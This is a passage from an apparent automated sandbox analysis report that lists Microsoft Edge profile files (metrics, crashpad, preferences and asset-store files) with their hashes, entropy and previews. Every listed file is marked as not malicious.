MD5:	9B9EEAFEA0BB753A8FAEB453AB956772
SHA1:	4F886474C956DB363B327F13F3E65B53807DB52A
SHA-256:	F8ADE4E5D3BCFEC0035529AC7AEA621E1FB3CEF0DAC19E62521BA8433AC9A894
SHA-512:	F3E66357046E24C3CB5D11A9E7FC7BA60393C00878D0C01DF87CEA10DCAE0F93CBBC8522C8FD92F58622E17EF2481FAECA509010FE842577016E4B201C836930
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD1E8-142C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.03996241028212922
Encrypted:	false
SSDEEP:	192:vsU01utmqvDDKX7QJvyqlBqfr3nXgXXnYOD5YMhZINEydeRQMt4K21n8y08Tcm2D:H0EtNSQHJh+TGD2108T2RGOD
MD5:	E77E5544C898D92CCEEF750CA77C69D2
SHA1:	40CF7DB5E93943960DC35D1418764D7C9AFF7D16
SHA-256:	20431157417B4AD664FE34D064EA80158FBE1A93073587B6E73D0173C8B79B42
SHA-512:	0901C44F133FBD1D964665FF3E7343DA4E27BD9ECAD0348EB0A4724D2449711ACEAA46A1ED5A96825DE363F75A57BF1C6C58EFCC1DFFC3770DFF37CA750A15D2
Malicious:	false
Preview:	...@..@...@.....C.].....@................a..HQ..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rspfeg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U..G..>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD1E9-1D4C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4349323116893358
Encrypted:	false
SSDEEP:	6144:wOddhBr7e6CN5XJTkrqpZSbRIgjTpaH8:5i6C3Jhd
MD5:	F4FB20D199C9C7EE7CE6693A837DB2E6
SHA1:	04E78C4C438E07C9E3CC21B0C6D8029AF5CF7A32
SHA-256:	9DC71A4294749D98B4ACE4E90F6E40A56032C1AD3F6CF4DFB0285EED29750A02
SHA-512:	3CCC11F976CB1F03C798DE1EC5F91FBA4320FACF8FB3516058E707F743C45A72DF8012E0A087F689ADBA3A861493B788F6A0FC52AC7500DFDFACD36116D3CF93
Malicious:	false
Preview:	...@..@...@.....C.].....@...............(...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....y.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rspfeg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@................................"...w..U?:K...G..>.........."....."...2..."..:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z.....n...9@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....trig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD1FC-1BE8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04687318595686199
Encrypted:	false
SSDEEP:	192:MCBSQr50m5tmrnOAIY0JdnBZ1jgHXP4If+0Khg0hq+N/12p1gQcd9FTqYn8y08TQ:z750Ut42NMABhtWbg59lX08T2RGOD
MD5:	4AE3D86A758BE14CA3B2CE258CCD4F4F
SHA1:	3A6F963BDE7E73FCD5E35041C34E4EF0EB03AE7E
SHA-256:	A9D2F36D2621B35F5F82616AE311491C02A554599779B0F1CDEF73629FDDA8F1
SHA-512:	C97E2CF3DD242E087B8540943141CBA25EAC1FAE5692253F77975E58F1E41773A9C145A23146AC0A13BF2937D245B0B527CD1C9286D6818BEA5EA8657947ECAB
Malicious:	false
Preview:	...@..@...@.....C.].....@................h...X..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....u.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rspfeg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...24.."."fhn6qsQvjeSiYMQxYRE0o4SWV0go1Y2PM5yzaMM3dVw=".:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-677FD204-1BBC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046327577926423925
Encrypted:	false
SSDEEP:	192:8CNYwRU0m5tmenOAmYyJuHSjutXwyghB6heeNEk0eIdp41gQMndd2bMuqcn8y08s:/nU0UtFCoAOhZ4wgrdd4b08T2RGOD
MD5:	E0F2057A1B49E0BDB0B51EEF8FC76058
SHA1:	2C2ECFE7F4F7A4E21E89041D4462E9A9CEA1FED1
SHA-256:	A9E77367BBE9767BCE4D6404CB96B84AFA9582AAA59167DE3CE6B713CF912A45
SHA-512:	4426790DBE5853E659C461FB10FD7F424A3059FFF15D62A9D7AAC5091A82C5DFF03BC48455DD24FAD26B0C2FA50A75B05E350E12787D646DA8F089FDA9798F40
Malicious:	false
Preview:	...@..@...@.....C.].....@...............pg..(W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....u.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rspfeg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...24.."."fhn6qsQvjeSiYMQxYRE0o4SWV0go1Y2PM5yzaMM3dVw=".:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........,........2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.170336970203834
Encrypted:	false
SSDEEP:	3:FiWWltl/98Z70crL3QMU8looetwBVP/Sh/JzvLi2RRIxINXj1Qllt:o1/ENrL3QMU8yoetwBVsJDG2Yqc/
MD5:	DECDBE1334C3AF16949B68C04E346418
SHA1:	07CE006CBEB272650DD74A68A66456C8075D72A0
SHA-256:	35C3FD3680365CB2318E0ED5657602EE0284CB58FE4896805A9CD4F3D36DF7D4
SHA-512:	BE809EAC75A142C1374BA9B263C1BD8AC59CEA406A1611AE087768F083792433D5D85FCE335A32EAB28A51541881F0C574700BC921B848D5FC44F4CFEF490F52
Malicious:	false
Preview:	sdPC......................5.y&.K.?...."fhn6qsQvjeSiYMQxYRE0o4SWV0go1Y2PM5yzaMM3dVw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\01c20626-61fc-41aa-a8dd-9c1bcb707dd6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18509447-6254-4c6a-b4b2-816df789f581.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (18101), with no line terminators
Category:	dropped
Size (bytes):	18105
Entropy (8bit):	5.444930434471771
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZiuaba4uypTJcKg6/q0YFYJ6JZ0VfZ04RaRWOJN7w8qpj+FX0Qwe+:sVjLAJu4TJcKBqnZkZnRaRTypUkQwen+
MD5:	2F6654A04495FCBD7239A3F3FB310D69
SHA1:	D5BEBAEC7398268EFEE6E757C36401306F2EC1B6
SHA-256:	6F9F08C4426AA5203E13DA563F5BB05D2E07992DEABD1543A666FED589D55F95
SHA-512:	EA52184C18F7250DA28F2CBDFB28642323E39FDD196247B72373DA74D76BC489218BCB7C7BF7C526D96B66F73A0BB1724B366928AC57CFEF726A8FFE6CB332B5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\187529dd-6801-4bd7-aff5-14dc367b9f49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49c26b73-9b45-4bbb-907c-237e4c09235e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5c0b68f6-5a9c-4254-a581-e619800b6b74.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12390
Entropy (8bit):	5.071211131097366
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZigaba4uypTJcKaYFQw8qpj+FX0QAGFvo1f:sVjLA3u4TJcKJpUkQR+
MD5:	EB298F06B757B92CB304F3C2D27725DD
SHA1:	B3A1953E92ADBACE54321C74F7C8018C0626FB8B
SHA-256:	CC62A03238A6E649E542375993925D23265F9AE2966BA22090BD7BED600E95F0
SHA-512:	044A9A02BC757697C907E34C16BB7B9CB5F6CDE9EAA9431298C974016268EBBCC572793EF82159E0B9DA912C8C2E7A9C822E7DD6A83D1F8789B1A03C299DF88F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5f8927fd-3b5a-4e62-b688-947581405248.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17374), with no line terminators
Category:	dropped
Size (bytes):	17378
Entropy (8bit):	5.4046403577623625
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZiuaba4uypTJcKg6hYFYJ6JZ0VfZ04RaRWOJN7w8qpj+FX0QweiGY:sVjLAJu4TJcKCZkZnRaRTypUkQwe7+
MD5:	B8BF0B97B1458B12910BF43AB99A5914
SHA1:	25E310F66B3022B86E234330C7BCFB9AE5944A49
SHA-256:	D9B8B5249AE3B7850573A5E0C373A1DFF08A0399018CF10146EBB3FADD343C90
SHA-512:	E9BEA654DAFDEF2B6D6980A456BF20C826613D30163255F37486F4F67B9D09345B6A9D53E28254D9C6AFEF11A1629C5CF8F9D0577D25AAB1E054157CBF4358D0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6d06b176-fb64-477f-b85a-5c0476afb6ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	39660
Entropy (8bit):	5.5624071940353526
Encrypted:	false
SSDEEP:	768:faknj57pLGLhvZWPWcfXp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVy/H452JrwICmhL:faknjPchvZWPWcfXpu1jaX/Hq26IC2fT
MD5:	8D58FA4C64B5B2902193BEA40F5E83FF
SHA1:	3C8E534B92822940D42C1BCFFFABE2B26060558C
SHA-256:	E9DFD1F2F649E97858D84644993DFF4751648B177CEEBEF9A6352BFE3B424401
SHA-512:	BCBC98C053185289BA350D330CC1B2F01F155730238D7C1D82CE4952FFCE3BE0955C2CC81C01ADFC5913F6BF5006120CF0A87F3D63CF3915E6652D60B44E749E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13380903657830671","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13380903657830671","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1695826
Entropy (8bit):	5.041131213407682
Encrypted:	false
SSDEEP:	24576:EPfQUg6kAdRhiGzmYoAo2ENU0ifYeV3br2M:EPfZ/mS5
MD5:	93B077AB70C367EFAE0E6E4851919431
SHA1:	2D54AA5270558C11A169EDA4CBEFB6533762BDC9
SHA-256:	B0B5EB0127065EA1883E4E3ABCB6FEB9F550243A60ECE3775C08A7ACE26C5043
SHA-512:	8B27488039BDBFDAE809F29CE1CB4AE65560A5768150FFDA63CCDA5E6FE7BB655AEB44D70AE669EDE737AE28BAC20EA9A7755F386498F20445B3E57AACE9569D
Malicious:	false
Preview:	...m.................DB_VERSION.1N....................QUERY_TIMESTAMP:arbitration_priority_list4...13380903664600628.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]jx..................QUERY_TIMESTAMP:edge_hub_apps_manifest_gz4.7..13380903664606167.$QUERY:edge_hub_apps_manifest_gz4.7...[{"name":"edge_hub_apps_manifest_gz","url":"https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline","version":{"major":4,"minor":7,"patch":107},"hash":"Qoxdh2pZS19o99emYo77uFsfzxtXVDB75kV6eln53YE=","size":1682291}]=_.../..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivileged

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.13705204169062
Encrypted:	false
SSDEEP:	6:iOrvRZM1wkn23oH+Tcwt9Eh1ZB2KLl5vR7lcjIq2Pwkn23oH+Tcwt9Eh1tIFUv:7zrfYeb9Eh1ZFLNSIvYfYeb9Eh16FUv
MD5:	76803B6998D626A35F983677BDDE2C92
SHA1:	25134E6B4EFE08D7A2EEB2E3ED6F13088AEAAB15
SHA-256:	BD7E4B0CA02561A24712D31A7DC64CE52AD5368F84FCD36123BE9373896FE4AE
SHA-512:	D8E4DAB7B6E60753309371EFE5A72C3F672B7CF5C306F9C100180307F6A7A4C9E0DE72FC3AA11CA9E347238B7CEBB91483728A19584E8BA869824880F3695372
Malicious:	false
Preview:	2025/01/09-08:41:03.446 1994 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2025/01/09-08:41:03.778 1994 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
